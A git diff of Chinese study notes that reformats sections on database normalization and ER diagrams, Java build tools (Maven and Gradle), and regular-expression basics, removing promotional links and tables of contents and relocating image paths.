-- Sno, Cname-> Grade
+- Sno -> Sname, Sdept
+- Sdept -> Mname
+- Sno, Cname-> Grade
 
-Grade 完全函数依赖于键码，它没有任何冗余数据，每个学生的每门课都有特定的成绩。
+Grade 完全函数依赖于键码，它没有任何冗余数据，每个学生的每门课都有特定的成绩。
 
-Sname, Sdept 和 Mname 都部分依赖于键码，当一个学生选修了多门课时，这些数据就会出现多次，造成大量冗余数据。
+Sname, Sdept 和 Mname 都部分依赖于键码，当一个学生选修了多门课时，这些数据就会出现多次，造成大量冗余数据。
 
-<font size=4> **分解后** </font><br>
+<font size=4>**分解后**</font><br>
 
 关系-1
 
-| Sno | Sname | Sdept | Mname |
-| :---: | :---: | :---: | :---: |
-| 1 | 学生-1 | 学院-1 | 院长-1 |
-| 2 | 学生-2 | 学院-2 | 院长-2 |
-| 3 | 学生-3 | 学院-2 | 院长-2 |
+| Sno | Sname | Sdept | Mname |
+| :---: | :---: | :---: | :---: |
+| 1 | 学生-1 | 学院-1 | 院长-1 |
+| 2 | 学生-2 | 学院-2 | 院长-2 |
+| 3 | 学生-3 | 学院-2 | 院长-2 |
 
 有以下函数依赖：
 
-- Sno -> Sname, Sdept
-- Sdept -> Mname
+- Sno -> Sname, Sdept
+- Sdept -> Mname
 
 关系-2
 
-| Sno | Cname | Grade |
-| :---: | :---: |:---:|
-| 1 | 课程-1 | 90 |
-| 2 | 课程-2 | 80 |
-| 2 | 课程-1 | 100 |
-| 3 | 课程-2 | 95 |
+| Sno | Cname | Grade |
+| :---: | :---: |:---:|
+| 1 | 课程-1 | 90 |
+| 2 | 课程-2 | 80 |
+| 2 | 课程-1 | 100 |
+| 3 | 课程-2 | 95 |
 
 有以下函数依赖：
 
-- Sno, Cname ->  Grade
+- Sno, Cname ->  Grade
 
-### 3. 第三范式 (3NF)
+### 3. 第三范式 (3NF)
 
 非主属性不传递函数依赖于键码。
 
-上面的 关系-1 中存在以下传递函数依赖：
+上面的 关系-1 中存在以下传递函数依赖：
 
-- Sno -> Sdept -> Mname
+- Sno -> Sdept -> Mname
 
 可以进行以下分解：
 
 关系-11
 
-| Sno | Sname | Sdept |
-| :---: | :---: | :---: |
-| 1 | 学生-1 | 学院-1 |
-| 2 | 学生-2 | 学院-2 |
-| 3 | 学生-3 | 学院-2 |
+| Sno | Sname | Sdept |
+| :---: | :---: | :---: |
+| 1 | 学生-1 | 学院-1 |
+| 2 | 学生-2 | 学院-2 |
+| 3 | 学生-3 | 学院-2 |
 
 关系-12
 
-| Sdept | Mname |
-| :---: | :---: |
-| 学院-1 | 院长-1 |
-| 学院-2 | 院长-2 |
+| Sdept | Mname |
+| :---: | :---: |
+| 学院-1 | 院长-1 |
+| 学院-2 | 院长-2 |
 
-# 八、ER 图
+# 八、ER 图
 
 Entity-Relationship，有三个组成部分：实体、属性、联系。
 
 用来进行关系型数据库系统的概念设计。
 
-## 实体的三种联系
+## 实体的三种联系
 
 包含一对一，一对多，多对多三种。
 
-- 如果 A 到 B 是一对多关系，那么画个带箭头的线段指向 B；
-- 如果是一对一，画两个带箭头的线段；
-- 如果是多对多，画两个不带箭头的线段。
+- 如果 A 到 B 是一对多关系，那么画个带箭头的线段指向 B；
+- 如果是一对一，画两个带箭头的线段；
+- 如果是多对多，画两个不带箭头的线段。
 
-下图的 Course 和 Student 是一对多的关系。
+下图的 Course 和 Student 是一对多的关系。
 
-<div align="center"> <img src="pics/292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/> </div><br>
+<img src="index_files/292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/>
 
-## 表示出现多次的关系
+## 表示出现多次的关系
 
 一个实体在联系出现几次，就要用几条线连接。
 
-下图表示一个课程的先修关系，先修关系出现两个 Course 实体，第一个是先修课程，后一个是后修课程，因此需要用两条线来表示这种关系。
+下图表示一个课程的先修关系，先修关系出现两个 Course 实体，第一个是先修课程，后一个是后修课程，因此需要用两条线来表示这种关系。
 
-<div align="center"> <img src="pics/8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/> </div><br>
+<img src="index_files/8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/>
 
-## 联系的多向性
+## 联系的多向性
 
 虽然老师可以开设多门课，并且可以教授多名学生，但是对于特定的学生和课程，只有一个老师教授，这就构成了一个三元联系。
 
-<div align="center"> <img src="pics/423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/> </div><br>
+<img src="index_files/423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/>
 
 一般只使用二元联系，可以把多元联系转换为二元联系。
 
-<div align="center"> <img src="pics/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/> </div><br>
+<img src="index_files/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/>
 
-## 表示子类
+## 表示子类
 
 用一个三角形和两条线来连接类和子类，与子类有关的属性和联系都连到子类上，而与父类和子类都有关的连到父类上。
 
-<div align="center"> <img src="pics/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/> </div><br>
+<img src="index_files/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/>
 
-# 参考资料
+# 参考资料
 
-- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
-- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
-- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
-- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
-- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
-- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
-- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
-- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
-- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
-- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
-- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
-- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)
+- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
+- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
+- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
+- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
+- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
+- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
+- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
+- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
+- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
+- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
+- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
+- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)
+---bottom---CyC---
+![](index_files/bae98438-7db6-41a6-893e-8813248f2f92.jpg)
+![](index_files/6675d713-8b59-4067-ad16-fdd538d4bb43.png)
+![](index_files/d5dfeb74-a27a-43b8-9121-191d3cb75198.png)
+![](index_files/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png)
+![](index_files/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png)
+![](index_files/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png)
+![](index_files/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg)
+![](index_files/e41405a8-7c05-4f70-8092-e961e28d3112.jpg)
+![](index_files/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png)
+![](index_files/292b4a35-4507-4256-84ff-c218f108ee31.jpg)
+![](index_files/8b798007-e0fb-420c-b981-ead215692417.jpg)
+![](index_files/423f2a40-bee1-488e-b460-8e76c48ee560.png)
+![](index_files/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png)
+![](index_files/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index cb07e5c9..c0a731c0 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,142 +1,133 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、构建工具的作用](#一构建工具的作用)
-* [二、Java 主流构建工具](#二java-主流构建工具)
-* [三、Maven](#三maven)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
-
-
-# 一、构建工具的作用
+# 一、构建工具的作用
 
 构建工具是用于构建项目的自动化工具，主要包含以下工作：
 
-## 依赖管理
+## 依赖管理
 
-不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖管理。
+不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖管理。
 
-## 运行单元测试
+## 运行单元测试
 
 不再需要在项目代码中添加测试代码，从而避免了污染项目代码。
 
-## 将源代码转化为可执行文件
+## 将源代码转化为可执行文件
 
 包含预处理、编译、汇编、链接等步骤。
 
-## 将可执行文件进行打包
+## 将可执行文件进行打包
 
-不再需要使用 IDE 将应用程序打包成 Jar 包。
+不再需要使用 IDE 将应用程序打包成 Jar 包。
 
-## 发布到生产服务器上
+## 发布到生产服务器上
 
-不再需要通过 FTP 将 Jar 包上传到服务器上。
+不再需要通过 FTP 将 Jar 包上传到服务器上。
 
-# 二、Java 主流构建工具
+# 二、Java 主流构建工具
 
-主要包括 Ant、Maven 和 Gradle。
+主要包括 Ant、Maven 和 Gradle。
 
-<div align="center"> <img src="pics/897503d0-59e3-4752-903d-529fbdb72fee.jpg"/> </div><br>
+![](index_files/897503d0-59e3-4752-903d-529fbdb72fee.jpg)
 
-Gradle 和 Maven 的区别是，它使用 Groovy 这种特定领域语言（DSL）来管理构建脚本，而不再使用 XML 这种标记性语言。因为项目如果庞大的话，XML 很容易就变得臃肿。
+Gradle 和 Maven 的区别是，它使用 Groovy 这种特定领域语言（DSL）来管理构建脚本，而不再使用 XML 这种标记性语言。因为项目如果庞大的话，XML 很容易就变得臃肿。
 
-例如要在项目中引入 Junit，Maven 的代码如下：
+例如要在项目中引入 Junit，Maven 的代码如下：
 
 ```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-   <modelVersion>4.0.0</modelVersion>
- 
-   <groupId>jizg.study.maven.hello</groupId>
-   <artifactId>hello-first</artifactId>
-   <version>0.0.1-SNAPSHOT</version>
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+   <modelVersion>4.0.0</modelVersion>
+ 
+   <groupId>jizg.study.maven.hello</groupId>
+   <artifactId>hello-first</artifactId>
+   <version>0.0.1-SNAPSHOT</version>
 
-   <dependencies>
-          <dependency>
-               <groupId>junit</groupId>
-               <artifactId>junit</artifactId>
-               <version>4.10</version>
-               <scope>test</scope>
-          </dependency>
-   </dependencies>
+   <dependencies>
+          <dependency>
+               <groupId>junit</groupId>
+               <artifactId>junit</artifactId>
+               <version>4.10</version>
+               <scope>test</scope>
+          </dependency>
+   </dependencies>
 </project>
 ```
 
-而 Gradle 只需要几行代码：
+而 Gradle 只需要几行代码：
 
 ```java
-dependencies {
-    testCompile "junit:junit:4.10"
+dependencies {
+    testCompile "junit:junit:4.10"
 }
 ```
 
-# 三、Maven
+# 三、Maven
 
-## 概述
+## 概述
 
 提供了项目对象模型（POM）文件来管理项目的构建。
 
-## 仓库
+## 仓库
 
 仓库的搜索顺序为：本地仓库、中央仓库、远程仓库。
 
-- 本地仓库用来存储项目的依赖库；
-- 中央仓库是下载依赖库的默认位置；
-- 远程仓库，因为并非所有的库存储在中央仓库，或者中央仓库访问速度很慢，远程仓库是中央仓库的补充。
+- 本地仓库用来存储项目的依赖库；
+- 中央仓库是下载依赖库的默认位置；
+- 远程仓库，因为并非所有的库存储在中央仓库，或者中央仓库访问速度很慢，远程仓库是中央仓库的补充。
 
-## POM
+## POM
 
-POM 代表项目对象模型，它是一个 XML 文件，保存在项目根目录的 pom.xml 文件中。
+POM 代表项目对象模型，它是一个 XML 文件，保存在项目根目录的 pom.xml 文件中。
 
 ```xml
 <dependency>
-    <groupId>junit</groupId>
-    <artifactId>junit</artifactId>
-    <version>4.12</version>
-    <scope>test</scope>
+    <groupId>junit</groupId>
+    <artifactId>junit</artifactId>
+    <version>4.12</version>
+    <scope>test</scope>
 </dependency>
 ```
 
-[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标，其中 groupId、artifactId、version 必须定义，packaging 可选（默认为 Jar），classifier 不能直接定义的，需要结合插件使用。
+[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标，其中 groupId、artifactId、version 必须定义，packaging 可选（默认为 Jar），classifier 不能直接定义的，需要结合插件使用。
 
 
-- groupId：项目组 Id，必须全球唯一；
-- artifactId：项目 Id，即项目名；
-- version：项目版本；
-- packaging：项目打包方式。
+- groupId：项目组 Id，必须全球唯一；
+- artifactId：项目 Id，即项目名；
+- version：项目版本；
+- packaging：项目打包方式。
 
-## 依赖原则
+## 依赖原则
 
-### 1. 依赖路径最短优先原则
+### 1. 依赖路径最短优先原则
 
 ```html
-A -> B -> C -> X(1.0)
-A -> D -> X(2.0)
+A -> B -> C -> X(1.0)
+A -> D -> X(2.0)
 ```
-由于 X(2.0) 路径最短，所以使用 X(2.0)。
+由于 X(2.0) 路径最短，所以使用 X(2.0)。
 
-### 2. 声明顺序优先原则
+### 2. 声明顺序优先原则
 
 ```html
-A -> B -> X(1.0)
-A -> C -> X(2.0)
+A -> B -> X(1.0)
+A -> C -> X(2.0)
 ```
 
-在 POM 中最先声明的优先，上面的两个依赖如果先声明 B，那么最后使用 X(1.0)。
+在 POM 中最先声明的优先，上面的两个依赖如果先声明 B，那么最后使用 X(1.0)。
 
-### 3. 覆写优先原则
+### 3. 覆写优先原则
 
-子 POM 内声明的依赖优先于父 POM 中声明的依赖。
+子 POM 内声明的依赖优先于父 POM 中声明的依赖。
 
-## 解决依赖冲突
+## 解决依赖冲突
 
-找到 Maven 加载的 Jar 包版本，使用 `mvn dependency:tree` 查看依赖树，根据依赖原则来调整依赖在 POM 文件的声明顺序。
+找到 Maven 加载的 Jar 包版本，使用 `mvn dependency:tree` 查看依赖树，根据依赖原则来调整依赖在 POM 文件的声明顺序。
 
-# 参考资料
+# 参考资料
 
-- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
-- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
-- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
-- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
-- [新一代构建工具 gradle](https://www.imooc.com/learn/833)
+- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
+- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
+- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
+- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
+- [新一代构建工具 gradle](https://www.imooc.com/learn/833)
 
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index 16d96122..e6f51ee3 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,20 +1,4 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、概述](#一概述)
-* [二、匹配单个字符](#二匹配单个字符)
-* [三、匹配一组字符](#三匹配一组字符)
-* [四、使用元字符](#四使用元字符)
-* [五、重复匹配](#五重复匹配)
-* [六、位置匹配](#六位置匹配)
-* [七、使用子表达式](#七使用子表达式)
-* [八、回溯引用](#八回溯引用)
-* [九、前后查找](#九前后查找)
-* [十、嵌入条件](#十嵌入条件)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
-
-
-# 一、概述
+# 一、概述
 
 正则表达式用于文本内容的查找和替换。
 
@@ -22,368 +6,368 @@
 
 [正则表达式在线工具](https://regexr.com/)
 
-# 二、匹配单个字符
+# 二、匹配单个字符
 
-**.**  可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；
+**.** 可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；
 
-**.**  是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
+**.** 是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
 
 正则表达式一般是区分大小写的，但是也有些实现是不区分。
 
-**正则表达式** 
+**正则表达式**
 
 ```
 nam.
 ```
 
-**匹配结果** 
+**匹配结果**
 
-My  **name**  is Zheng.
+My **name** is Zheng.
 
-# 三、匹配一组字符
+# 三、匹配一组字符
 
-**[ ]**  定义一个字符集合；
+**[ ]** 定义一个字符集合；
 
-0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间在 [ ] 中使用。
+0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间在 [ ] 中使用。
 
-**-**  只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
+**-** 只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
 
-**^**  在 [ ] 中是取非操作。
+**^** 在 [ ] 中是取非操作。
 
-**应用** 
+**应用**
 
-匹配以 abc 为开头，并且最后一个字母不为数字的字符串：
+匹配以 abc 为开头，并且最后一个字母不为数字的字符串：
 
-**正则表达式** 
+**正则表达式**
 
 ```
 abc[^0-9]
 ```
 
-**匹配结果** 
+**匹配结果**
 
-1.  **abcd** 
-2. abc1
-3. abc2
+1. **abcd**
+2. abc1
+3. abc2
 
-# 四、使用元字符
+# 四、使用元字符
 
-## 匹配空白字符
+## 匹配空白字符
 
-|  元字符 | 说明  |
-| :---: | :---: |
-|  [\b] | 回退（删除）一个字符   |
-|  \f |  换页符 |
-|  \n |  换行符 |
-|  \r |  回车符 |
-|  \t |  制表符 |
-|  \v |  垂直制表符 |
+|  元字符 | 说明  |
+| :---: | :---: |
+|  [\b] | 回退（删除）一个字符   |
+|  \f |  换页符 |
+|  \n |  换行符 |
+|  \r |  回车符 |
+|  \t |  制表符 |
+|  \v |  垂直制表符 |
 
-\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n。
+\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n。
 
-\r\n\r\n 可以匹配 Windows 下的空白行，因为它将匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
+\r\n\r\n 可以匹配 Windows 下的空白行，因为它将匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
 
-## 匹配特定的字符类别
+## 匹配特定的字符类别
 
-### 1. 数字元字符
+### 1. 数字元字符
 
-|  元字符 | 说明  |
-| :---: | :---: |
-| \d  | 数字字符，等价于 [0-9]  |
-| \D  | 非数字字符，等价于 [^0-9]   |
+|  元字符 | 说明  |
+| :---: | :---: |
+| \d  | 数字字符，等价于 [0-9]  |
+| \D  | 非数字字符，等价于 [^0-9]   |
 
-### 2. 字母数字元字符
+### 2. 字母数字元字符
 
-|  元字符 | 说明  |
-| :---: | :---: |
-| \w  |  大小写字母，下划线和数字，等价于 [a-zA-Z0-9\_] |
-|  \W |  对 \w 取非 |
+|  元字符 | 说明  |
+| :---: | :---: |
+| \w  |  大小写字母，下划线和数字，等价于 [a-zA-Z0-9\_] |
+|  \W |  对 \w 取非 |
 
-### 3. 空白字符元字符
+### 3. 空白字符元字符
 
-| 元字符  | 说明  |
-| :---: | :---: |
-|  \s | 任何一个空白字符，等价于 [\f\n\r\t\v]  |
-| \S  |  对 \s 取非  |
+| 元字符  | 说明  |
+| :---: | :---: |
+|  \s | 任何一个空白字符，等价于 [\f\n\r\t\v]  |
+| \S  |  对 \s 取非  |
 
-\x 匹配十六进制字符，\0 匹配八进制，例如 \x0A 对应 ASCII 字符 10，等价于 \n。
+\x 匹配十六进制字符，\0 匹配八进制，例如 \x0A 对应 ASCII 字符 10，等价于 \n。
 
-# 五、重复匹配
+# 五、重复匹配
 
--  **\+**  匹配 1 个或者多个字符
--  **\** * 匹配 0 个或者多个
--  **?**  匹配 0 个或者 1 个
+- **\+** 匹配 1 个或者多个字符
+- **\*** 匹配 0 个或者多个
+- **?** 匹配 0 个或者 1 个
 
-**应用** 
+**应用**
 
 匹配邮箱地址。
 
-**正则表达式** 
+**正则表达式**
 
 ```
 [\w.]+@\w+\.\w+
 ```
 
-[\w.] 匹配的是字母数字或者 . ，在其后面加上 + ，表示匹配多次。在字符集合 [ ] 里，. 不是元字符；
+[\w.] 匹配的是字母数字或者 . ，在其后面加上 + ，表示匹配多次。在字符集合 [ ] 里，. 不是元字符；
 
-**匹配结果** 
+**匹配结果**
 
-**abc.def<span>@</span>qq.com** 
+**abc.def<span>@</span>qq.com**
 
--  **{n}**  匹配 n 个字符
--  **{m, n}**  匹配 m\~n 个字符
--  **{m,}**  至少匹配 m 个字符
+- **{n}** 匹配 n 个字符
+- **{m, n}** 匹配 m~n 个字符
+- **{m,}** 至少匹配 m 个字符
 
-\* 和 + 都是贪婪型元字符，会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m, n}? 。
+\* 和 + 都是贪婪型元字符，会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m, n}? 。
 
-**正则表达式** 
+**正则表达式**
 
 ```
 a.+c
 ```
 
-由于 + 是贪婪型的，因此 .+ 会匹配更可能多的内容，所以会把整个 abcabcabc 文本都匹配，而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
+由于 + 是贪婪型的，因此 .+ 会匹配更可能多的内容，所以会把整个 abcabcabc 文本都匹配，而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
 
-**匹配结果** 
+**匹配结果**
 
-**abcabcabc** 
+**abcabcabc**
 
-# 六、位置匹配
+# 六、位置匹配
 
-## 单词边界
+## 单词边界
 
-**\b**  可以匹配一个单词的边界，边界是指位于 \w 和 \W 之间的位置；**\B** 匹配一个不是单词边界的位置。
+**\b** 可以匹配一个单词的边界，边界是指位于 \w 和 \W 之间的位置；**\B** 匹配一个不是单词边界的位置。
 
-\b 只匹配位置，不匹配字符，因此 \babc\b 匹配出来的结果为 3 个字符。
+\b 只匹配位置，不匹配字符，因此 \babc\b 匹配出来的结果为 3 个字符。
 
-## 字符串边界
+## 字符串边界
 
-**^**  匹配整个字符串的开头，**$** 匹配结尾。
+**^** 匹配整个字符串的开头，**$** 匹配结尾。
 
-^ 元字符在字符集合中用作求非，在字符集合外用作匹配字符串的开头。
+^ 元字符在字符集合中用作求非，在字符集合外用作匹配字符串的开头。
 
 分行匹配模式（multiline）下，换行被当做字符串的边界。
 
-**应用** 
+**应用**
 
-匹配代码中以 // 开始的注释行
+匹配代码中以 // 开始的注释行
 
-**正则表达式** 
+**正则表达式**
 
 ```
 ^\s*\/\/.*$
 ```
 
-<div align="center"> <img src="pics/600e9c75-5033-4dad-ae2b-930957db638e.png"/> </div><br>
+![](index_files/600e9c75-5033-4dad-ae2b-930957db638e.png)
 
-**匹配结果** 
+**匹配结果**
 
-1. public void fun() {
-2. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 1** 
-3. &nbsp;&nbsp;&nbsp;&nbsp;    int a = 1;
-4. &nbsp;&nbsp;&nbsp;&nbsp;    int b = 2;
-5. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 2** 
-6. &nbsp;&nbsp;&nbsp;&nbsp;    int c = a + b;
-7. }
+1. public void fun() {
+2. &nbsp;&nbsp;&nbsp;&nbsp;    **// 注释 1**
+3. &nbsp;&nbsp;&nbsp;&nbsp;    int a = 1;
+4. &nbsp;&nbsp;&nbsp;&nbsp;    int b = 2;
+5. &nbsp;&nbsp;&nbsp;&nbsp;    **// 注释 2**
+6. &nbsp;&nbsp;&nbsp;&nbsp;    int c = a + b;
+7. }
 
-# 七、使用子表达式
+# 七、使用子表达式
 
-使用  **( )**  定义一个子表达式。子表达式的内容可以当成一个独立元素，即可以将它看成一个字符，并且使用 * 等元字符。
+使用 **( )** 定义一个子表达式。子表达式的内容可以当成一个独立元素，即可以将它看成一个字符，并且使用 * 等元字符。
 
 子表达式可以嵌套，但是嵌套层次过深会变得很难理解。
 
-**正则表达式** 
+**正则表达式**
 
 ```
 (ab){2,}
 ```
 
-**匹配结果** 
+**匹配结果**
 
-**ababab** 
+**ababab**
 
-**|**  是或元字符，它把左边和右边所有的部分都看成单独的两个部分，两个部分只要有一个匹配就行。
+**|** 是或元字符，它把左边和右边所有的部分都看成单独的两个部分，两个部分只要有一个匹配就行。
 
-**正则表达式** 
+**正则表达式**
 
 ```
 (19|20)\d{2}
 ```
 
-**匹配结果** 
+**匹配结果**
 
-1.  **1900** 
-2.  **2010** 
-3. 1020
+1. **1900**
+2. **2010**
+3. 1020
 
-**应用** 
+**应用**
 
-匹配 IP 地址。
+匹配 IP 地址。
 
-IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
+IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
 
-- 一位数字
-- 不以 0 开头的两位数字
-- 1 开头的三位数
-- 2 开头，第 2 位是 0-4 的三位数
-- 25 开头，第 3 位是 0-5 的三位数
+- 一位数字
+- 不以 0 开头的两位数字
+- 1 开头的三位数
+- 2 开头，第 2 位是 0-4 的三位数
+- 25 开头，第 3 位是 0-5 的三位数
 
-**正则表达式** 
+**正则表达式**
 
 ```
 ((25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))\.){3}(25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))
 ```
 
-**匹配结果** 
+**匹配结果**
 
-1.  **192.168.0.1** 
-2. 00.00.00.00
-3. 555.555.555.555
+1. **192.168.0.1**
+2. 00.00.00.00
+3. 555.555.555.555
 
-# 八、回溯引用
+# 八、回溯引用
 
-回溯引用使用  **\n**  来引用某个子表达式，其中 n 代表的是子表达式的序号，从 1 开始。它和子表达式匹配的内容一致，比如子表达式匹配到 abc，那么回溯引用部分也需要匹配 abc 。
+回溯引用使用 **\n** 来引用某个子表达式，其中 n 代表的是子表达式的序号，从 1 开始。它和子表达式匹配的内容一致，比如子表达式匹配到 abc，那么回溯引用部分也需要匹配 abc 。
 
-**应用** 
+**应用**
 
-匹配 HTML 中合法的标题元素。
+匹配 HTML 中合法的标题元素。
 
-**正则表达式** 
+**正则表达式**
 
-\1 将回溯引用子表达式 (h[1-6]) 匹配的内容，也就是说必须和子表达式匹配的内容一致。
+\1 将回溯引用子表达式 (h[1-6]) 匹配的内容，也就是说必须和子表达式匹配的内容一致。
 
 ```
 <(h[1-6])>\w*?<\/\1>
 ```
 
-**匹配结果** 
+**匹配结果**
 
-1.  **&lt;h1>x&lt;/h1>** 
-2.  **&lt;h2>x&lt;/h2>** 
-3. &lt;h3>x&lt;/h1>
+1. **&lt;h1>x&lt;/h1>**
+2. **&lt;h2>x&lt;/h2>**
+3. &lt;h3>x&lt;/h1>
 
-## 替换
+## 替换
 
 需要用到两个正则表达式。
 
-**应用** 
+**应用**
 
 修改电话号码格式。
 
-**文本** 
+**文本**
 
 313-555-1234
 
-**查找正则表达式** 
+**查找正则表达式**
 
 ```
 (\d{3})(-)(\d{3})(-)(\d{4})
 ```
 
-**替换正则表达式** 
+**替换正则表达式**
 
-在第一个子表达式查找的结果加上 () ，然后加一个空格，在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
+在第一个子表达式查找的结果加上 () ，然后加一个空格，在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
 
 ```
-($1) $3-$5
+($1) $3-$5
 ```
 
-**结果** 
+**结果**
 
-(313) 555-1234
+(313) 555-1234
 
-## 大小写转换
+## 大小写转换
 
-|  元字符 | 说明  |
-| :---: | :---: |
-|  \l | 把下个字符转换为小写  |
-|   \u| 把下个字符转换为大写  |
-|  \L | 把\L 和\E 之间的字符全部转换为小写  |
-|  \U | 把\U 和\E 之间的字符全部转换为大写  |
-|  \E | 结束\L 或者\U  |
+|  元字符 | 说明  |
+| :---: | :---: |
+|  \l | 把下个字符转换为小写  |
+|   \u| 把下个字符转换为大写  |
